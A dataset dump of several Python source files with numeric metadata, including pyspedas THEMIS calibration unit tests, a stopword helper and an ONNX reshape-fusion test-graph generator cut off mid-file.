0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
12255faea3606b7549936c3a7be9b25bb40e917c
75
py
Python
server/app/api/weather/models.py
WagnerJM/home_pod
f6a51e4956d5956a85084f637e267406f21df6df
[ "MIT" ]
null
null
null
server/app/api/weather/models.py
WagnerJM/home_pod
f6a51e4956d5956a85084f637e267406f21df6df
[ "MIT" ]
null
null
null
server/app/api/weather/models.py
WagnerJM/home_pod
f6a51e4956d5956a85084f637e267406f21df6df
[ "MIT" ]
null
null
null
from app.database import db, BaseMixin from app.serializer import ma
15
39
0.76
11
75
5.181818
0.727273
0.245614
0
0
0
0
0
0
0
0
0
0
0.2
75
4
40
18.75
0.95
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
122c9715dcb0947727c7bc70fdbeff0c9eebf745
170
py
Python
ex001.py
nascimentobrenda24/PythonExercises
2055f42a0454ae25cba6a6457c85822eaad2df01
[ "MIT" ]
1
2021-11-23T21:41:25.000Z
2021-11-23T21:41:25.000Z
ex001.py
nascimentobrenda24/PythonExercises
2055f42a0454ae25cba6a6457c85822eaad2df01
[ "MIT" ]
null
null
null
ex001.py
nascimentobrenda24/PythonExercises
2055f42a0454ae25cba6a6457c85822eaad2df01
[ "MIT" ]
null
null
null
#Crie um programa que digita (Olá Mundo) na tela print('\033[1;32;40m==================Olá Mundo===========') #ou msg = '==============Olá Mundo==============' print(msg)
34
60
0.470588
22
170
3.636364
0.727273
0.3
0
0
0
0
0
0
0
0
0
0.051948
0.094118
170
5
61
34
0.467532
0.288235
0
0
0
0
0.733333
0.283333
0
0
0
0
0
1
0
false
0
0
0
0
0.666667
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
1
0
0
0
0
0
1
0
null
0
0
0
0
0
0
0
0
0
0
0
1
0
6
1246cbbf40d70e7672acca8136ffd43139e5342d
28
py
Python
pypho/simulation_1d/__init__.py
dominikswild/pypho
50bd9d3440931183098dafd0ab238ef3416b6a77
[ "MIT" ]
null
null
null
pypho/simulation_1d/__init__.py
dominikswild/pypho
50bd9d3440931183098dafd0ab238ef3416b6a77
[ "MIT" ]
null
null
null
pypho/simulation_1d/__init__.py
dominikswild/pypho
50bd9d3440931183098dafd0ab238ef3416b6a77
[ "MIT" ]
null
null
null
from .simulation import new
14
27
0.821429
4
28
5.75
1
0
0
0
0
0
0
0
0
0
0
0
0.142857
28
1
28
28
0.958333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
89d7d6ca3082514e52ebfe8dbe2ecc87f6a0186f
123
py
Python
src/package_a/module_a.py
ynouri/monorepo
a40c42da3eaf9c276006be73666b1d0ab2396620
[ "MIT" ]
null
null
null
src/package_a/module_a.py
ynouri/monorepo
a40c42da3eaf9c276006be73666b1d0ab2396620
[ "MIT" ]
null
null
null
src/package_a/module_a.py
ynouri/monorepo
a40c42da3eaf9c276006be73666b1d0ab2396620
[ "MIT" ]
null
null
null
from utils.utils_a import sum_two_numbers class Something: def sum(self, a, b): return sum_two_numbers(a, b)
17.571429
41
0.699187
21
123
3.857143
0.619048
0.148148
0.320988
0
0
0
0
0
0
0
0
0
0.219512
123
6
42
20.5
0.84375
0
0
0
0
0
0
0
0
0
0
0
0
1
0.25
false
0
0.25
0.25
1
0
1
0
0
null
0
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
d61534e48e6bbcaaff5208bfc0daf7796606b2ce
7,517
py
Python
pyspedas/themis/tests/tests_cal_fit.py
ablotekar/pyspedas
921733f26e6d204f6ee57f760db5d86c351e3043
[ "MIT" ]
null
null
null
pyspedas/themis/tests/tests_cal_fit.py
ablotekar/pyspedas
921733f26e6d204f6ee57f760db5d86c351e3043
[ "MIT" ]
null
null
null
pyspedas/themis/tests/tests_cal_fit.py
ablotekar/pyspedas
921733f26e6d204f6ee57f760db5d86c351e3043
[ "MIT" ]
null
null
null
"""Tests of cal_fit function.""" import pyspedas.themis.spacecraft.fields.fit import pytplot.get_data from pytplot.importers.tplot_restore import tplot_restore import unittest import numpy as np from pyspedas.themis.spacecraft.fields.fit import cal_fit class TestCalFitDataValidation(unittest.TestCase): """Tests of the data been identical to SPEDAS (IDL).""" @classmethod def setUpClass(cls): """ IDL Data has to be downloaded to perform these tests""" from pyspedas.utilities.download import download from pyspedas.themis.config import CONFIG # Testing time range cls.t = ['2008-03-15', '2008-03-16'] # Testing tollerange cls.tol = 1e-10 # Download tplot files remote_server = 'https://spedas.org/' remote_name = 'testfiles/cal_fit.tplot' calfile = download(remote_file=remote_name, remote_path=remote_server, local_path=CONFIG['local_data_dir'], no_download=False) if not calfile: # Skip tests raise unittest.SkipTest("Cannot download data validation file") # Load validation variables from the test file filename = calfile[0] tplot_restore(filename) cls.tha_fit = pytplot.get_data('tha_fit') cls.tha_fgs = pytplot.get_data('tha_fgs') cls.tha_fgs_sigma = pytplot.get_data('tha_fgs_sigma') cls.tha_fit_bfit = pytplot.get_data('tha_fit_bfit') cls.tha_fit_efit = pytplot.get_data('tha_fit_efit') cls.tha_efs = pytplot.get_data('tha_efs') cls.tha_efs_sigma = pytplot.get_data('tha_efs_sigma') cls.tha_efs_0 = pytplot.get_data('tha_efs_0') cls.tha_efs_dot0 = pytplot.get_data('tha_efs_dot0') def setUp(self): """ We need to clean tplot variables before each run""" pytplot.del_data('*') def test_fgs(self): """Validate tha_fgs.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit'], time_clip=True) cal_fit(probe='a') tha_fgs = pytplot.get_data('tha_fgs') diff = np.nanmedian(tha_fgs.y - self.tha_fgs.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) def test_fgs_sigma(self): """Validate tha_fgs_sigma.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit'], time_clip=True) cal_fit(probe='a') tha_fgs_sigma = pytplot.get_data('tha_fgs_sigma') diff = np.nanmedian(tha_fgs_sigma.y - self.tha_fgs_sigma.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) def test_fit_bfit(self): """Validate tha_fit_bfit.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit'], time_clip=True) cal_fit(probe='a') tha_fit_bfit = pytplot.get_data('tha_fit_bfit') diff = np.nanmedian(tha_fit_bfit.y - self.tha_fit_bfit.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) def test_fit_efit(self): """Validate tha_fit_efit.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit', 'tha_fit_code'], get_support_data=True, time_clip=True) cal_fit(probe='a') tha_fit_efit = pytplot.get_data('tha_fit_efit') diff = np.nanmedian(tha_fit_efit.y - self.tha_fit_efit.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) def test_efs(self): """Validate tha_efs.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit', 'tha_fit_code'], get_support_data=True, time_clip=True) cal_fit(probe='a') tha_efs = pytplot.get_data('tha_efs') diff = np.nanmedian(tha_efs.y - self.tha_efs.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) def test_efs_sigma(self): """Validate tha_efs_sigma.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit', 'tha_fit_code'], get_support_data=True, time_clip=True) cal_fit(probe='a') tha_efs_sigma = pytplot.get_data('tha_efs_sigma') diff = np.nanmedian(tha_efs_sigma.y - self.tha_efs_sigma.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) def test_efs_0(self): """Validate tha_efs_0.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit', 'tha_fit_code'], get_support_data=True, time_clip=True) cal_fit(probe='a') tha_efs_0 = pytplot.get_data('tha_efs_0') diff = np.nanmedian(tha_efs_0.y - self.tha_efs_0.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) def test_efs_dot0(self): """Validate tha_efs_sigma.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit', 'tha_fit_code'], get_support_data=True, time_clip=True) cal_fit(probe='a') tha_efs_dot0 = pytplot.get_data('tha_efs_dot0') diff = np.nanmedian(tha_efs_dot0.y - self.tha_efs_dot0.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) class TestCalFitEfsNoCalDataValidation(unittest.TestCase): """Tests of the data been identical to SPEDAS (IDL).""" def setUp(self): """ IDL Data has to be downloaded to perform these tests""" from pyspedas.utilities.download import download from pyspedas.themis.config import CONFIG # Testing time range self.t = ['2008-03-15', '2008-03-16'] # Testing tollerange self.tol = 1e-10 # Download tplot files remote_server = 'https://spedas.org/' remote_name = 'testfiles/tha_efs_no_cal.tplot' calfile = download(remote_file=remote_name, remote_path=remote_server, local_path=CONFIG['local_data_dir'], no_download=False) if not calfile: # Skip tests self.skipTest("Cannot download data validation file") # Load validation variables from the test file filename = calfile[0] tplot_restore(filename) self.tha_efs = pytplot.get_data('tha_efs') pytplot.del_data('*') def test_efs(self): """Validate tha_efs.""" pyspedas.themis.fit(trange=self.t, probe='a', level='l1', varnames=['tha_fit', 'tha_fit_code'], get_support_data=True, time_clip=True) cal_fit(probe='a', no_cal=True) tha_efs = pytplot.get_data('tha_efs') diff = np.nanmedian(tha_efs.y - self.tha_efs.y, axis=0, keepdims=True) self.assertAlmostEqual(diff.sum(), 0) class TestCalFitInput(unittest.TestCase): def setUp(self): self.t = ['2008-03-15', '2008-03-15'] def test_wrong_satellite(self): """Validate tha_fgs.""" pyspedas.themis.fit(trange=self.t, probe='x', level='l1', varnames=['tha_fit'], time_clip=True) cal_fit(probe='x') def test_e34_ss(self): t = ['2011-02-27', '2011-02-28'] pyspedas.themis.fit(trange=t, probe='b', level='l1', varnames=['thb_fit', 'thb_fit_code'], get_support_data=True, time_clip=True) cal_fit(probe='b') # TODO: add tests for metadata if __name__ == '__main__': unittest.main()
39.984043
103
0.623786
1,027
7,517
4.323272
0.12853
0.048649
0.063063
0.072748
0.820721
0.775225
0.757658
0.730405
0.730405
0.630856
0
0.020804
0.245444
7,517
187
104
40.197861
0.761989
0.099907
0
0.512
0
0
0.101469
0.007944
0
0
0
0.005348
0.072
1
0.12
false
0
0.08
0
0.224
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
6
d62021d4ed46b200cf3c0521d2253436dc730852
3,935
py
Python
newsbuddy/nlp_stock.py
skyli42/RiceKrispies
fda6df8a1621326836d2969975ff75b2f8f87690
[ "MIT" ]
null
null
null
newsbuddy/nlp_stock.py
skyli42/RiceKrispies
fda6df8a1621326836d2969975ff75b2f8f87690
[ "MIT" ]
null
null
null
newsbuddy/nlp_stock.py
skyli42/RiceKrispies
fda6df8a1621326836d2969975ff75b2f8f87690
[ "MIT" ]
1
2018-10-01T02:38:42.000Z
2018-10-01T02:38:42.000Z
import gensim from gensim.models.keyedvectors import KeyedVectors import re, string def downloadGlove(file = "C:/glove/glove.6B.50d.txt.w2v"): gant = KeyedVectors.load_word2vec_format(file, binary=False) return gant stopwords = "a,able,about,above,according,accordingly,across,actually,after,afterwards,again,against,ain't,all,allow,allows,almost,alone,along,already,also,although,always,am,among,amongst,an,and,another,any,anybody,anyhow,anyone,anything,anyway,anyways,anywhere,apart,appear,appreciate,appropriate,are,aren't,around,as,aside,ask,asking,associated,at,available,away,awfully,be,became,because,become,becomes,becoming,been,before,beforehand,behind,being,believe,below,beside,besides,best,better,between,beyond,both,brief,but,by,c'mon,c's,came,can,can't,cannot,cant,cause,causes,certain,certainly,changes,clearly,co,com,come,comes,concerning,consequently,consider,considering,contain,containing,contains,corresponding,could,couldn't,course,currently,definitely,described,despite,did,didn't,different,do,does,doesn't,doing,don't,done,down,downwards,during,each,edu,eg,eight,either,else,elsewhere,enough,entirely,especially,et,etc,even,ever,every,everybody,everyone,everything,everywhere,ex,exactly,example,except,far,few,fifth,first,five,followed,following,follows,for,former,formerly,forth,four,from,further,furthermore,get,gets,getting,given,gives,go,goes,going,gone,got,gotten,greetings,had,hadn't,happens,hardly,has,hasn't,have,haven't,having,he,he's,hello,help,hence,her,here,here's,hereafter,hereby,herein,hereupon,hers,herself,hi,him,himself,his,hither,hopefully,how,howbeit,however,i'd,i'll,i'm,i've,ie,if,ignored,immediate,in,inasmuch,inc,indeed,indicate,indicated,indicates,inner,insofar,instead,into,inward,is,isn't,it,it'd,it'll,it's,its,itself,just,keep,keeps,kept,know,known,knows,last,lately,later,latter,latterly,least,less,lest,let,let's,like,liked,likely,little,look,looking,looks,ltd,mainly,many,may,maybe,me,mean,meanwhile,merely,might,more,moreover,most,mostly,much,must,my,myself,name,namely,nd,near,nearly,necessary,need,needs,neither,never,nevertheless,new,next,nine,no,nobody,non,none,noone,nor,normally,not,nothing,novel,now,nowhere,obviously,of,off,often,oh,ok,okay,old,on,once,one,ones,only,onto,or,other,others,otherwise,ought,our,ours,ourselves,out,outside,over,overall,own,particular,particularly,per,perhaps,placed,please,plus,possible,presumably,probably,provides,que,quite,qv,rather,rd,re,really,reasonably,regarding,regardless,regards,relatively,respectively,right,said,same,saw,say,saying,says,second,secondly,see,seeing,seem,seemed,seeming,seems,seen,self,selves,sensible,sent,serious,seriously,seven,several,shall,she,should,shouldn't,since,six,so,some,somebody,somehow,someone,something,sometime,sometimes,somewhat,somewhere,soon,sorry,specified,specify,specifying,still,sub,such,sup,sure,t's,take,taken,tell,tends,th,than,thank,thanks,thanx,that,that's,thats,the,their,theirs,them,themselves,then,thence,there,there's,thereafter,thereby,therefore,therein,theres,thereupon,these,they,they'd,they'll,they're,they've,think,third,this,thorough,thoroughly,those,though,three,through,throughout,thru,thus,to,together,too,took,toward,towards,tried,tries,truly,try,trying,twice,two,un,under,unfortunately,unless,unlikely,until,unto,up,upon,us,use,used,useful,uses,using,usually,value,various,very,via,viz,vs,want,wants,was,wasn't,way,we,we'd,we'll,we're,we've,welcome,well,went,were,weren't,what,what's,whatever,when,whence,whenever,where,where's,whereafter,whereas,whereby,wherein,whereupon,wherever,whether,which,while,whither,who,who's,whoever,whole,whom,whose,why,will,willing,wish,with,within,without,won't,wonder,would,wouldn't,yes,yet,you,you'd,you'll,you're,you've,your,yours,yourself,yourselves,zero" def stop_words(): return stopwords.split(",") def strip_punc(corpus): punc_regex = re.compile('[{}]'.format(re.escape(string.punctuation))) return punc_regex.sub('', corpus)
262.333333
3,537
0.824905
645
3,935
5.023256
0.855814
0.011111
0
0
0
0
0
0
0
0
0
0.001284
0.010419
3,935
15
3,538
262.333333
0.830765
0
0
0
0
0.083333
0.903709
0.902439
0
0
0
0
0
1
0.25
false
0
0.25
0.083333
0.75
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
1
1
null
0
0
0
0
0
1
0
0
0
0
1
0
0
6
d6493a48781321e846cce4a8059a035ce9bf9da1
109
py
Python
site_scons/site_tools/host.py
robobrobro/physics-engine
0000e2155106f3c6c0485af96bc14120dc6d155a
[ "MIT" ]
null
null
null
site_scons/site_tools/host.py
robobrobro/physics-engine
0000e2155106f3c6c0485af96bc14120dc6d155a
[ "MIT" ]
8
2019-01-26T03:19:46.000Z
2019-04-16T14:22:53.000Z
site_scons/site_tools/host.py
robobrobro/physics-engine
0000e2155106f3c6c0485af96bc14120dc6d155a
[ "MIT" ]
null
null
null
def exists(env): return True def generate(env): env.Replace(OS='$HOST_OS') env.Tool('$HOST_OS')
15.571429
30
0.633028
17
109
3.941176
0.588235
0.179104
0
0
0
0
0
0
0
0
0
0
0.192661
109
6
31
18.166667
0.761364
0
0
0
1
0
0.146789
0
0
0
0
0
0
1
0.4
false
0
0
0.2
0.6
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
6
c3a4f13ef9420cfa767ebaff8cc712d5e08d30bc
27
py
Python
dataset/beer/__init__.py
zackchase/beermind
695fd1b2f6d376b6dd9f70ba2cd2c13e5efb9c47
[ "MIT" ]
3
2016-12-15T11:54:33.000Z
2017-06-08T21:10:58.000Z
dataset/beer/__init__.py
zackchase/beermind
695fd1b2f6d376b6dd9f70ba2cd2c13e5efb9c47
[ "MIT" ]
null
null
null
dataset/beer/__init__.py
zackchase/beermind
695fd1b2f6d376b6dd9f70ba2cd2c13e5efb9c47
[ "MIT" ]
2
2017-10-13T18:34:36.000Z
2020-01-25T03:46:31.000Z
from load import load_data
13.5
26
0.851852
5
27
4.4
0.8
0
0
0
0
0
0
0
0
0
0
0
0.148148
27
1
27
27
0.956522
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
6
7f1184c6e105ac3a58d5a2ab30d8b26f89cc0249
13,693
py
Python
onnxruntime/test/testdata/transform/fusion/reshape_fusion_gen.py
goloskokovic/onnxruntime
31a44b13d221f9fc021bcfb4afc514f1956ccbc8
[ "MIT" ]
2
2020-06-24T03:16:34.000Z
2020-06-24T03:16:36.000Z
onnxruntime/test/testdata/transform/fusion/reshape_fusion_gen.py
goloskokovic/onnxruntime
31a44b13d221f9fc021bcfb4afc514f1956ccbc8
[ "MIT" ]
4
2020-12-04T21:00:38.000Z
2022-01-22T12:49:30.000Z
onnxruntime/test/testdata/transform/fusion/reshape_fusion_gen.py
goloskokovic/onnxruntime
31a44b13d221f9fc021bcfb4afc514f1956ccbc8
[ "MIT" ]
null
null
null
import onnx from onnx import helper from onnx import TensorProto def save_model(graph, file_name): model = helper.make_model(graph) onnx.checker.check_model(model) onnx.save(model, file_name) graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["SubgraphRoot"], ["shape1_out"], "shape1"), helper.make_node("Shape", ["SubgraphRoot"], ["shape2_out"], "shape2"), helper.make_node("Gather", ["shape1_out", "indices0"], ["gather0_out"], "gather0", axis=0), helper.make_node("Gather", ["shape1_out", "indices2"], ["gather2_out"], "gather2", axis=0), helper.make_node("Gather", ["shape2_out", "indices3"], ["gather3_out"], "gather3", axis=0), helper.make_node("Unsqueeze", ["gather0_out"], ["unsqueeze0_out"], "unsqueeze0", axes=[0]), helper.make_node("Unsqueeze", ["gather2_out"], ["unsqueeze2_out"], "unsqueeze2", axes=[0]), helper.make_node("Unsqueeze", ["gather3_out"], ["unsqueeze3_out"], "unsqueeze3", axes=[0]), helper.make_node("Concat", ["unsqueeze0_out", "a1", "unsqueeze2_out", "unsqueeze3_out", "a4"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, ['unk_0', 256, 'unk_2', 'unk_3']), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, ['unk_1', 128, 'unk_2', 'unk_3', 'unk_4']), helper.make_tensor_value_info('gather3_out', TensorProto.INT64, []), ], [ # initializers helper.make_tensor('a1', TensorProto.INT64, [1], [128]), helper.make_tensor('a4', TensorProto.INT64, [1], [-1]), helper.make_tensor('indices0', TensorProto.INT64, [], [0]), helper.make_tensor('indices2', TensorProto.INT64, [], [2]), helper.make_tensor('indices3', TensorProto.INT64, [], [3]), ] ) save_model(graph, 'reshape_fusion_internal_nodes_reused.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["SubgraphRoot"], ["shape0_out"], "shape0"), helper.make_node("Shape", ["SubgraphRoot"], ["shape1_out"], "shape1"), helper.make_node("Gather", ["shape0_out", "indices0"], ["gather0_out"], "gather0", axis=0), helper.make_node("Gather", ["shape1_out", "indices1"], ["gather1_out"], "gather1", axis=0), helper.make_node("Unsqueeze", ["gather0_out"], ["unsqueeze0_out"], "unsqueeze0", axes=[0]), helper.make_node("Unsqueeze", ["gather1_out"], ["unsqueeze1_out"], "unsqueeze1", axes=[0]), helper.make_node("Concat", ["unsqueeze0_out", "unsqueeze1_out", "a"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, [10, 20, 30]), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, [10, 20, 'unk']), helper.make_tensor_value_info('gather0_out', TensorProto.INT64, []), ], [ # initializers helper.make_tensor('a', TensorProto.INT64, [1], [-1]), helper.make_tensor('indices0', TensorProto.INT64, [], [0]), helper.make_tensor('indices1', TensorProto.INT64, [], [1]), ] ) save_model(graph, 'reshape_fusion_internal_node_is_graph_output.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["SubgraphRoot"], ["shape2_out"], "shape2"), helper.make_node("Gather", ["shape2_out", "indices2"], ["gather2_out"], "gather2", axis=0), helper.make_node("Unsqueeze", ["gather2_out"], ["unsqueeze2_out"], "unsqueeze2", axes=[0]), helper.make_node("Concat", ["a", "unsqueeze2_out"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, [10, 20, 30]), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, ['unk_0', 'unk_1', 'unk_2']), ], [ # initializers helper.make_tensor('a', TensorProto.INT64, [2], [1, 200]), helper.make_tensor('indices2', TensorProto.INT64, [], [1]), ] ) save_model(graph, 'reshape_fusion_multiple_values_in_initializer_tensor_1.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["SubgraphRoot"], ["shape2_out"], "shape2"), helper.make_node("Gather", ["shape2_out", "indices2"], ["gather2_out"], "gather2", axis=0), helper.make_node("Unsqueeze", ["gather2_out"], ["unsqueeze2_out"], "unsqueeze2", axes=[0]), helper.make_node("Concat", ["a", "unsqueeze2_out"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, [10, 20, 30]), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, ['unk_0', 'unk_1', 'unk_2']), ], [ # initializers helper.make_tensor('a', TensorProto.INT64, [2], [1, 200]), helper.make_tensor('indices2', TensorProto.INT64, [], [2]), ] ) save_model(graph, 'reshape_fusion_multiple_values_in_initializer_tensor_2.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["AnotherInput"], ["shape2_out"], "shape2"), helper.make_node("Gather", ["shape2_out", "indices2"], ["gather2_out"], "gather2", axis=0), helper.make_node("Unsqueeze", ["gather2_out"], ["unsqueeze2_out"], "unsqueeze2", axes=[0]), helper.make_node("Concat", ["a", "unsqueeze2_out"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, [10, 20, 30]), helper.make_tensor_value_info('AnotherInput', TensorProto.FLOAT, ['input_dim_0', 'input_dim_1', 'input_dim_2']), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, ['unk_0', 'unk_1', 'unk_2']), ], [ # initializers helper.make_tensor('a', TensorProto.INT64, [2], [1, 200]), helper.make_tensor('indices2', TensorProto.INT64, [], [2]), ] ) save_model(graph, 'reshape_fusion_input_is_graph_input.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Concat", ["a"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, [2, 3, 4]), helper.make_tensor_value_info('a', TensorProto.INT64, [3]), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, ['unk_0', 'unk_1', 'unk_2']), ], [ # initializers helper.make_tensor('a', TensorProto.INT64, [3], [1, 1, 2*3*4]), ] ) save_model(graph, 'reshape_fusion_overridable_initializer.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["query"], ["shape0_out"], "shape0"), helper.make_node("Gather", ["shape0_out", "indices0"], ["gather0_out"], "gather0", axis=0), helper.make_node("Unsqueeze", ["gather0_out"], ["unsqueeze0_out"], "unsqueeze0", axes=[0]), helper.make_node("Concat", ["a", "unsqueeze0_out"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["doc_word_mask", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('query', TensorProto.FLOAT, [1, 50]), helper.make_tensor_value_info('doc_word_mask', TensorProto.FLOAT, [1, 200, 50]), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, [10, 20, 'unk']), ], [ # initializers helper.make_tensor('a', TensorProto.INT64, [1], [-1]), helper.make_tensor('indices0', TensorProto.INT64, [], [1]), ] ) save_model(graph, 'reshape_fusion_with_graph_inputs.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["SubgraphRoot"], ["shape0_out"], "shape0"), helper.make_node("Shape", ["SubgraphRoot"], ["shape1_out"], "shape1"), helper.make_node("Gather", ["shape0_out", "indices0"], ["gather0_out"], "gather0", axis=0), helper.make_node("Gather", ["shape1_out", "indices1"], ["gather1_out"], "gather1", axis=0), helper.make_node("Unsqueeze", ["gather0_out"], ["unsqueeze0_out"], "unsqueeze0", axes=[0]), helper.make_node("Unsqueeze", ["gather1_out"], ["unsqueeze1_out"], "unsqueeze1", axes=[0]), helper.make_node("Shape", ["SubgraphRoot"], ["shape2_out"], "shape2"), helper.make_node("Slice", ["shape2_out", "slice_starts", "slice_ends"], ["slice_out"], "slice1"), helper.make_node("Concat", ["unsqueeze0_out", "unsqueeze1_out", "slice_out"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, [10, 20, 30]), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, [10, 20, 'unk']), ], [ # initializers helper.make_tensor('indices0', TensorProto.INT64, [], [0]), helper.make_tensor('indices1', TensorProto.INT64, [], [1]), helper.make_tensor('slice_starts', TensorProto.INT64, [1], [2]), helper.make_tensor('slice_ends', TensorProto.INT64, [1], [3]) ] ) save_model(graph, 'reshape_fusion_concat_subgraph.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["SubgraphRoot"], ["shape0_out"], "shape0"), helper.make_node("Shape", ["SubgraphRoot"], ["shape1_out"], "shape1"), helper.make_node("Gather", ["shape0_out", "indices0"], ["gather0_out"], "gather0", axis=0), helper.make_node("Gather", ["shape1_out", "indices1"], ["gather1_out"], "gather1", axis=0), helper.make_node("Unsqueeze", ["gather0_out"], ["unsqueeze0_out"], "unsqueeze0", axes=[0]), helper.make_node("Unsqueeze", ["gather1_out"], ["unsqueeze1_out"], "unsqueeze1", axes=[0]), helper.make_node("Shape", ["unsqueeze0_out"], ["dummy_out"], "dummy"), helper.make_node("Shape", ["SubgraphRoot"], ["shape2_out"], "shape2"), helper.make_node("Slice", ["shape2_out", "slice_starts", "slice_ends"], ["slice_out"], "slice1"), helper.make_node("Concat", ["unsqueeze0_out", "unsqueeze1_out", "slice_out"], ["concat_out"], "concat", axis=0), helper.make_node("Reshape", ["SubgraphRoot", "concat_out"], ["Result"], "reshape"), ], "Reshape_Fusion", #name [ # inputs helper.make_tensor_value_info('SubgraphRoot', TensorProto.FLOAT, [10, 20, 30]), ], [ # outputs helper.make_tensor_value_info('Result', TensorProto.FLOAT, [10, 20, 'unk']), helper.make_tensor_value_info('slice_out', TensorProto.INT64, [1]), ], [ # initializers helper.make_tensor('indices0', TensorProto.INT64, [], [0]), helper.make_tensor('indices1', TensorProto.INT64, [], [1]), helper.make_tensor('slice_starts', TensorProto.INT64, [1], [2]), helper.make_tensor('slice_ends', TensorProto.INT64, [1], [3]) ] ) save_model(graph, 'reshape_fusion_concat_subgraph_multiple_outputs.onnx') graph = helper.make_graph( [ # nodes helper.make_node("Shape", ["SubgraphRoot"], ["shape0_out"], "shape0"), helper.make_node("Shape", ["SubgraphRoot"], ["shape1_out"], "shape1"), helper.make_node("Gather", ["shape0_out", "indices0"], ["gather0_out"], "gather0", axis=0), helper.make_node("Gather", ["shape1_out", "indices1"], ["gather1_out"], "gather1", axis=0), helper.make_node("Unsqueeze", ["gather0_out"], ["unsqueeze0_out"], "unsqueeze0", axes=[0]), helper.make_node("Unsqueeze", ["gather1_out"], ["unsqueeze1_out"], "unsqueeze1", axes=[0]), helper.make_node("Shape", 